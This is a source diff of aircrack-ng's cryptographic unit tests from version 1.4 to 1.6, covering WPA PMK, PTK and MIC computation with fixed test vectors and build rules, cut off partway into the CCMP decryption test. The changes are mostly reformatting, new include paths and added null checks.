+test_encrypt_ccmp_CFLAGS  = $(PTHREAD_CFLAGS) \
+							$(CRYPTO_CFLAGS)
+test_encrypt_ccmp_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+							$(PTHREAD_LIBS) \
+							$(CRYPTO_LIBS) \
+							$(ZLIB_LIBS)
+
+test_decrypt_ccmp_SOURCES = $(SRCS_TEST_DCMP)
+test_decrypt_ccmp_CFLAGS  = $(PTHREAD_CFLAGS) \
+							$(CRYPTO_CFLAGS)
+test_decrypt_ccmp_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+							$(PTHREAD_LIBS) \
+							$(CRYPTO_LIBS) \
+							$(ZLIB_LIBS)
+
+
+TESTS +=	test-encrypt-wep \
+			test-calc-pmk \
+			test-calc-mic \
+			test-calc-ptk \
+			test-encrypt-ccmp \
+			test-decrypt-ccmp
+
+check_PROGRAMS +=	test-encrypt-wep \
+					test-calc-pmk \
+					test-calc-mic \
+					test-calc-ptk \
+					test-encrypt-ccmp \
+					test-decrypt-ccmp
+
+EXTRA_DIST += %D%/tests.h

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-calc-mic.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-calc-mic.c Changed

@@ -22,120 +22,125 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include <stdio.h>
 #include <string.h>
 #include <strings.h>
 #include <stdlib.h>
-#include "crypto.h"
-#include "tests.h"
-#include "aircrack-ng.h"
-#include <string.h>
 
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "tests.h"
 
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    if (argc < 1) return 1;
-
-    int error=0;
-    static unsigned char opmk[32] =
-                            "\x6f\xe8\x57\xc0\xb7\x42\xdf\xc2\xda\x8a\x1f\xe8\xb1\xb4\xb4\x62"
-                            "\x8d\x9f\xbb\xb0\x60\x82\x6b\x83\xcb\x43\xb6\x4b\x13\xe1\x03\xe8";
-
-    static unsigned char optk[80] =
-                            "\x28\x00\x00\x00\x00\x00\x00\x00\x18\x81\xd5\x96\xff\x7f\x00\x00"
-                            "\x64\x00\x00\x00\x00\x00\x00\x00\x9f\x84\x00\x51\xd8\x7f\x00\x00"
-                            "\x58\x33\xcf\x01\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00"
-                            "\x10\xb3\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
-                            "\x30\x9d\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
-
-    static unsigned char omic[20] =
-                            "\x01\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00"
-                            "\x30\x9d\xd3\x01";
-
-    //expected
-    static unsigned char eptk[80] =
-                            "\x9a\x75\xef\x0b\xde\x7c\x20\x9c\xca\xe1\x3f\x54\xb1\xb3\x3e\xa3"
-                            "\xfa\x01\x66\x16\x6e\x30\x81\x1f\x1b\xaa\xff\x8d\x1c\x1a\xc1\x63"
-                            "\x82\xa4\x9b\x50\xb8\x60\x88\xc5\xcb\x79\x3b\x54\x26\x61\xa2\x8a"
-                            "\x64\x69\x3c\x72\xb8\x66\x73\xe0\xa8\x2d\x48\xc7\x47\x68\xcb\xf9"
-                            "\xa1\xbf\x86\xcc\x30\xb9\xd6\x3d\xe8\x82\x59\x25\xec\x1f\x4d\x3f";
-    // expected emic when wpa.keyver=2
-    static unsigned char emic2[20] = "\x6f\x04\x89\xcf\x74\x06\xac\xf0\xae\x8f\xcb\x32\xbc\xe5\x7c\x37"
-                                     "\x79\x3a\x23\x61";
-    // expected emic when wpa.keyver=1
-    static unsigned char emic1[20] = "\x9c\xc3\xfa\xa0\xc6\x85\x96\x1d\x84\x06\xbb\x65\x77\x45\x13\x5d"
-                                     "\x30\x9d\xd3\x01";
-    // AP structure
-    struct AP_info *ap;
-    ap=(struct AP_info *) malloc(sizeof(struct AP_info));
-    bzero(ap,sizeof(struct AP_info));
-
-    unsigned char stmac[6]   = "\x00\x13\x46\xfe\x32\x0c";
-    unsigned char snonce[32] =
-            "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
-            "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
-    unsigned char anonce[32] =
-            "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
-            "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
-    unsigned char keymic[16] =
-            "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6";
-    unsigned char eapol[256] =
-            "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
-            "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
-            "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
-            "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
-            "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-    unsigned char bssid[6]  = "\x00\x14\x6c\x7e\x40\x80";
-    unsigned char essid[33] = "Harkonen";
-
-    struct WPA_hdsk wpa;             /* valid WPA handshake data     */
-    memset(&wpa, 0, sizeof(wpa));
-    memcpy(&wpa.stmac,&stmac,6);
-    memcpy(&wpa.snonce,&snonce,32);
-    memcpy(&wpa.anonce,&anonce,32);
-    memcpy(&wpa.keymic,&keymic,16);
-    memcpy(&wpa.eapol,&eapol,256);
-    wpa.eapol_size=121;
-    wpa.state=7;
-    memcpy(&ap->bssid,bssid,6);
-    memcpy(&ap->essid,essid,33);
-
-
-
-
-    unsigned char pmk[32]; memcpy(&pmk, &opmk, 32);
-    unsigned char ptk[80]; memcpy(&ptk, &optk, 80);
-    unsigned char mic[20]; memcpy(&mic, &omic, 20);
-
-    wpa.keyver=1;
-    ap->wpa = wpa;
-    calc_mic (ap, pmk, ptk, mic);
-
-    error += test(pmk,opmk,32, argv[0]);
-    error += test(ptk,eptk,80, argv[0]);
-    error += test(mic,emic1,20, argv[0]);
-
-    wpa.keyver=2;
-    ap->wpa = wpa;
-    calc_mic (ap, pmk, ptk, mic);
-    error += test(pmk,opmk,32, argv[0]);
-    error += test(ptk,eptk,80, argv[0]);
-    error += test(mic,emic2,20, argv[0]);
-
-    free(ap);
-
-    return error;
+	if (argc < 1) return 1;
+
+	int error = 0;
+	static unsigned char opmk[32]
+		= "\x6f\xe8\x57\xc0\xb7\x42\xdf\xc2\xda\x8a\x1f\xe8\xb1\xb4\xb4\x62"
+		  "\x8d\x9f\xbb\xb0\x60\x82\x6b\x83\xcb\x43\xb6\x4b\x13\xe1\x03\xe8";
+
+	static unsigned char optk[80]
+		= "\x28\x00\x00\x00\x00\x00\x00\x00\x18\x81\xd5\x96\xff\x7f\x00\x00"
+		  "\x64\x00\x00\x00\x00\x00\x00\x00\x9f\x84\x00\x51\xd8\x7f\x00\x00"
+		  "\x58\x33\xcf\x01\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00"
+		  "\x10\xb3\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
+		  "\x30\x9d\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
+
+	static unsigned char omic[20]
+		= "\x01\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00"
+		  "\x30\x9d\xd3\x01";
+
+	//expected
+	static unsigned char eptk[80]
+		= "\x9a\x75\xef\x0b\xde\x7c\x20\x9c\xca\xe1\x3f\x54\xb1\xb3\x3e\xa3"
+		  "\xfa\x01\x66\x16\x6e\x30\x81\x1f\x1b\xaa\xff\x8d\x1c\x1a\xc1\x63"
+		  "\x82\xa4\x9b\x50\xb8\x60\x88\xc5\xcb\x79\x3b\x54\x26\x61\xa2\x8a"
+		  "\x64\x69\x3c\x72\xb8\x66\x73\xe0\xa8\x2d\x48\xc7\x47\x68\xcb\xf9"
+		  "\xa1\xbf\x86\xcc\x30\xb9\xd6\x3d\xe8\x82\x59\x25\xec\x1f\x4d\x3f";
+	// expected emic when wpa.keyver=2
+	static unsigned char emic2[20]
+		= "\x6f\x04\x89\xcf\x74\x06\xac\xf0\xae\x8f\xcb\x32\xbc\xe5\x7c\x37"
+		  "\x79\x3a\x23\x61";
+	// expected emic when wpa.keyver=1
+	static unsigned char emic1[20]
+		= "\x9c\xc3\xfa\xa0\xc6\x85\x96\x1d\x84\x06\xbb\x65\x77\x45\x13\x5d"
+		  "\x30\x9d\xd3\x01";
+	// AP structure
+	struct AP_info * ap;
+	ap = (struct AP_info *) malloc(sizeof(struct AP_info));
+	ALLEGE(ap != NULL);
+	bzero(ap, sizeof(struct AP_info));
+
+	unsigned char stmac[6] = "\x00\x13\x46\xfe\x32\x0c";
+	unsigned char snonce[32]
+		= "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
+		  "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
+	unsigned char anonce[32]
+		= "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
+		  "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
+	unsigned char keymic[16]
+		= "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6";
+	unsigned char eapol[256]
+		= "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		  "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
+		  "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
+		  "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
+		  "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+	unsigned char bssid[6] = "\x00\x14\x6c\x7e\x40\x80";
+	unsigned char essid[33] = "Harkonen";
+
+	struct WPA_hdsk wpa; /* valid WPA handshake data     */
+	memset(&wpa, 0, sizeof(wpa));
+	memcpy(&wpa.stmac, &stmac, 6);
+	memcpy(&wpa.snonce, &snonce, 32);
+	memcpy(&wpa.anonce, &anonce, 32);
+	memcpy(&wpa.keymic, &keymic, 16);
+	memcpy(&wpa.eapol, &eapol, 256);
+	wpa.eapol_size = 121;
+	wpa.state = 7;
+	memcpy(&ap->bssid, bssid, 6);
+	memcpy(&ap->essid, essid, 33);
+
+	unsigned char pmk[32];
+	memcpy(&pmk, &opmk, 32);
+	unsigned char ptk[80];
+	memcpy(&ptk, &optk, 80);
+	unsigned char mic[20];
+	memcpy(&mic, &omic, 20);
+
+	wpa.keyver = 1;
+	ap->wpa = wpa;
+	calc_mic(ap, pmk, ptk, mic);
+
+	error += test(pmk, opmk, 32, argv[0]);
+	error += test(ptk, eptk, 80, argv[0]);
+	error += test(mic, emic1, 20, argv[0]);
+
+	wpa.keyver = 2;
+	ap->wpa = wpa;
+	calc_mic(ap, pmk, ptk, mic);
+	error += test(pmk, opmk, 32, argv[0]);
+	error += test(ptk, eptk, 80, argv[0]);
+	error += test(mic, emic2, 20, argv[0]);
+
+	free(ap);
+
+	return error;
 }
-

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-calc-pmk.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-calc-pmk.c Changed

@@ -22,46 +22,46 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
-#include "crypto.h"
+
+#include "aircrack-ng/crypto/crypto.h"
 #include "tests.h"
 
 #define PLEN 40
 #define KLEN 14
 
-
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    if (argc < 1) return 1;
-
-    int error=0;
+	if (argc < 1) return 1;
 
-    static unsigned char input[PLEN] =
-             "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18"
-             "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac"
-             "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0";
-    static unsigned char expected[PLEN] =
-             "\x1d\x4d\xf5\x5d\xd8\xd9\x13\xf5\x54\x0d\x05\x3c\xdb\x57\x83\x53"
-             "\xd0\x6c\x0f\xb3\x50\x71\x10\xee\x48\xda\xce\x2b\x60\xf6\xd0\xd4"
-             "\xc2\x24\x39\x9f\xe8\x1d\x1e\x80";
-    static char key[KLEN] =
-             "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09\x00";
-    static char essid[8] = "T3st1ng";
+	int error = 0;
 
+	static unsigned char input[PLEN]
+		= "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18"
+		  "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac"
+		  "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0";
+	static unsigned char expected[PLEN]
+		= "\x1d\x4d\xf5\x5d\xd8\xd9\x13\xf5\x54\x0d\x05\x3c\xdb\x57\x83\x53"
+		  "\xd0\x6c\x0f\xb3\x50\x71\x10\xee\x48\xda\xce\x2b\x60\xf6\xd0\xd4"
+		  "\xc2\x24\x39\x9f\xe8\x1d\x1e\x80";
+	static char key[KLEN]
+		= "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09\x00";
+	static char essid[8] = "T3st1ng";
 
-    unsigned char pmk[PLEN]; memcpy(&pmk, &input, PLEN);
+	unsigned char pmk[PLEN];
+	memcpy(&pmk, &input, PLEN);
 
+	calc_pmk(key, essid, pmk);
+	error += test(pmk, expected, PLEN, argv[0]);
 
+	calc_pmk(key, essid, pmk);
+	error += test(pmk, expected, PLEN, argv[0]);
 
-    calc_pmk( key, essid, pmk );
-    error += test(pmk,expected,PLEN, argv[0]);
-
-    calc_pmk( key, essid, pmk );
-    error += test(pmk,expected,PLEN, argv[0]);
-
-    return error;
+	return error;
 }
-

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-calc-ptk.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-calc-ptk.c Changed

@@ -22,101 +22,104 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
+#include <assert.h>
 #include <stdio.h>
 #include <string.h>
 #include <strings.h>
 #include <stdlib.h>
-#include "crypto.h"
-#include "tests.h"
-#include <string.h>
 
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "tests.h"
 
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    if (argc < 1) return 1;
-
-    int error=0;
-    static unsigned char opmk[32] =     "\xee\x51\x88\x37\x93\xa6\xf6\x8e\x96\x15\xfe\x73\xc8\x0a\x3a\xa6"
-                                        "\xf2\xdd\x0e\xa5\x37\xbc\xe6\x27\xb9\x29\x18\x3c\xc6\xe5\x79\x25";
-
-
-
-
-    static unsigned char ostmac[6] =    "\x00\x13\x46\xfe\x32\x0c";
-    static unsigned char obssid[6] =    "\x00\x14\x6c\x7e\x40\x80";
-    static unsigned char osnonce[32] =  "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
-                                        "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
-    static unsigned char oanonce[32] =  "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
-                                        "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
-    static unsigned char okeymic[20] =  "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6"
-                                        "\x00\x00\x00\x00";
-
-    static unsigned char optk[80] =    "\x0d\xde\xae\x80\x83\xf9\x2c\xa9\xaf\xdb\x25\x0d\xde\xe5\x25\x1b"
-                                        "\xc0\xee\xb4\x7e\xf2\x2a\xf7\x9e\x25\x34\x6e\x8b\x73\xe2\xca\x7d"
-                                        "\x94\xb0\x60\x5f\x2e\xed\x66\xd8\x60\x76\xb3\x38\xa6\x65\xfe\xe3"
-                                        "\x9f\xde\x22\x1e\xb1\x38\x6b\x3d\xa7\xac\x6a\xbe\x7e\xe0\x00\x1f"
-                                        "\xbd\x92\xab\xec\xc8\xba\x49\xf0\x5d\xff\x8f\x50\x1e\xfa\xaa\xcc";
-
-    static unsigned char eptk[80] =     "\xea\x0e\x40\x46\x33\xc8\x02\x45\x03\x02\x86\x8c\xca\xa7\x49\xde"
-                                        "\x5c\xba\x5a\xbc\xb2\x67\xe2\xde\x1d\x5e\x21\xe5\x7a\xcc\xd5\x07"
-                                        "\x9b\x31\xe9\xff\x22\x0e\x13\x2a\xe4\xf6\xed\x9e\xf1\xac\xc8\x85"
-                                        "\x45\x82\x5f\xc3\x2e\xe5\x59\x61\x39\x5a\xe4\x37\x34\xd6\xc1\x07"
-                                        "\x98\xef\x5a\xfe\x42\xc0\x74\x26\x47\x18\x68\xa5\x77\xd4\xd1\x7e";
-
-    static unsigned char oeapol[256]=   "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
-                                        "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
-                                        "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
-                                        "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-
-
-
-    unsigned char pmk[32]; memcpy(&pmk, &opmk, 32);
-
-    struct WPA_ST_info *wpa;
-    wpa=(struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
-    // default to zero
-    bzero(wpa,sizeof(struct WPA_ST_info));
-
-    memcpy(wpa->stmac,&ostmac,6);
-    memcpy(wpa->bssid,&obssid,6);
-    memcpy(wpa->ptk,&optk,80);
-    memcpy(wpa->anonce,&oanonce,32);
-
-
-
-
-    // not valid_ptk
-    if ((1==1) == (calc_ptk (wpa, pmk))) error++;
-    error += test(pmk,opmk,32, argv[0]);
-    error += test(wpa->ptk,optk,80, argv[0]);
-
-
-    // calc another one
-    wpa->eapol_size=121;
-    memcpy(wpa->eapol,&oeapol,256);
-    memcpy(wpa->keymic,&okeymic,20);
-    memcpy(wpa->snonce,&osnonce,32);
-
-    // valid ptk
-    if ((1==1) != (calc_ptk (wpa, pmk))) error++;
-    error += test(pmk,opmk,32, argv[0]);
-    error += test(wpa->ptk,eptk,80, argv[0]);
-
-    free(wpa);
-
-    return error;
+	if (argc < 1) return 1;
+
+	int error = 0;
+	static unsigned char opmk[32]
+		= "\xee\x51\x88\x37\x93\xa6\xf6\x8e\x96\x15\xfe\x73\xc8\x0a\x3a\xa6"
+		  "\xf2\xdd\x0e\xa5\x37\xbc\xe6\x27\xb9\x29\x18\x3c\xc6\xe5\x79\x25";
+
+	static unsigned char ostmac[6] = "\x00\x13\x46\xfe\x32\x0c";
+	static unsigned char obssid[6] = "\x00\x14\x6c\x7e\x40\x80";
+	static unsigned char osnonce[32]
+		= "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d"
+		  "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70";
+	static unsigned char oanonce[32]
+		= "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0"
+		  "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55";
+	static unsigned char okeymic[20]
+		= "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6"
+		  "\x00\x00\x00\x00";
+
+	static unsigned char optk[80]
+		= "\x0d\xde\xae\x80\x83\xf9\x2c\xa9\xaf\xdb\x25\x0d\xde\xe5\x25\x1b"
+		  "\xc0\xee\xb4\x7e\xf2\x2a\xf7\x9e\x25\x34\x6e\x8b\x73\xe2\xca\x7d"
+		  "\x94\xb0\x60\x5f\x2e\xed\x66\xd8\x60\x76\xb3\x38\xa6\x65\xfe\xe3"
+		  "\x9f\xde\x22\x1e\xb1\x38\x6b\x3d\xa7\xac\x6a\xbe\x7e\xe0\x00\x1f"
+		  "\xbd\x92\xab\xec\xc8\xba\x49\xf0\x5d\xff\x8f\x50\x1e\xfa\xaa\xcc";
+
+	static unsigned char eptk[80]
+		= "\xea\x0e\x40\x46\x33\xc8\x02\x45\x03\x02\x86\x8c\xca\xa7\x49\xde"
+		  "\x5c\xba\x5a\xbc\xb2\x67\xe2\xde\x1d\x5e\x21\xe5\x7a\xcc\xd5\x07"
+		  "\x9b\x31\xe9\xff\x22\x0e\x13\x2a\xe4\xf6\xed\x9e\xf1\xac\xc8\x85"
+		  "\x45\x82\x5f\xc3\x2e\xe5\x59\x61\x39\x5a\xe4\x37\x34\xd6\xc1\x07"
+		  "\x98\xef\x5a\xfe\x42\xc0\x74\x26\x47\x18\x68\xa5\x77\xd4\xd1\x7e";
+
+	static unsigned char oeapol[256]
+		= "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00"
+		  "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08"
+		  "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85"
+		  "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac"
+		  "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+
+	unsigned char pmk[32];
+	memcpy(&pmk, &opmk, 32);
+
+	struct WPA_ST_info * wpa;
+	wpa = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
+	ALLEGE(wpa != NULL);
+	// default to zero
+	bzero(wpa, sizeof(struct WPA_ST_info));
+
+	memcpy(wpa->stmac, &ostmac, 6);
+	memcpy(wpa->bssid, &obssid, 6);
+	memcpy(wpa->ptk, &optk, 80);
+	memcpy(wpa->anonce, &oanonce, 32);
+
+	// not valid_ptk
+	if ((1 == 1) == (calc_ptk(wpa, pmk))) error++;
+	error += test(pmk, opmk, 32, argv[0]);
+	error += test(wpa->ptk, optk, 80, argv[0]);
+
+	// calc another one
+	wpa->eapol_size = 121;
+	memcpy(wpa->eapol, &oeapol, 256);
+	memcpy(wpa->keymic, &okeymic, 20);
+	memcpy(wpa->snonce, &osnonce, 32);
+
+	// valid ptk
+	if ((1 == 1) != (calc_ptk(wpa, pmk))) error++;
+	error += test(pmk, opmk, 32, argv[0]);
+	error += test(wpa->ptk, eptk, 80, argv[0]);
+
+	free(wpa);
+
+	return error;
 }
-

aircrack-ng-1.4.tar.gz/test/cryptounittest/test-decrypt-ccmp.c -> aircrack-ng-1.6.tar.gz/test/cryptounittest/test-decrypt-ccmp.c Changed

@@ -22,230 +22,230 @@
  *
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include <stdio.h>
 #include <string.h>
 #include <strings.h>
 #include <stdlib.h>
-#include "crypto.h"
+
+#include "aircrack-ng/crypto/crypto.h"
 #include "tests.h"
 
 #define BUFFER_SIZE 65536
 
-int main(int argc, char **argv)
+int main(int argc, char ** argv)
 {
-    if (argc < 1) return 1;
-
-    int error=0;
+	if (argc < 1) return 1;
 
-    int caplen1 = 81;
-    unsigned char tk1[16] =
-    "\x1d\x03\x5e\x8b\xeb\x4f\x83\x61\x1d\xc9\x3e\x26\x57\xce\xcf\x69";
-    unsigned char h80211[1496] =
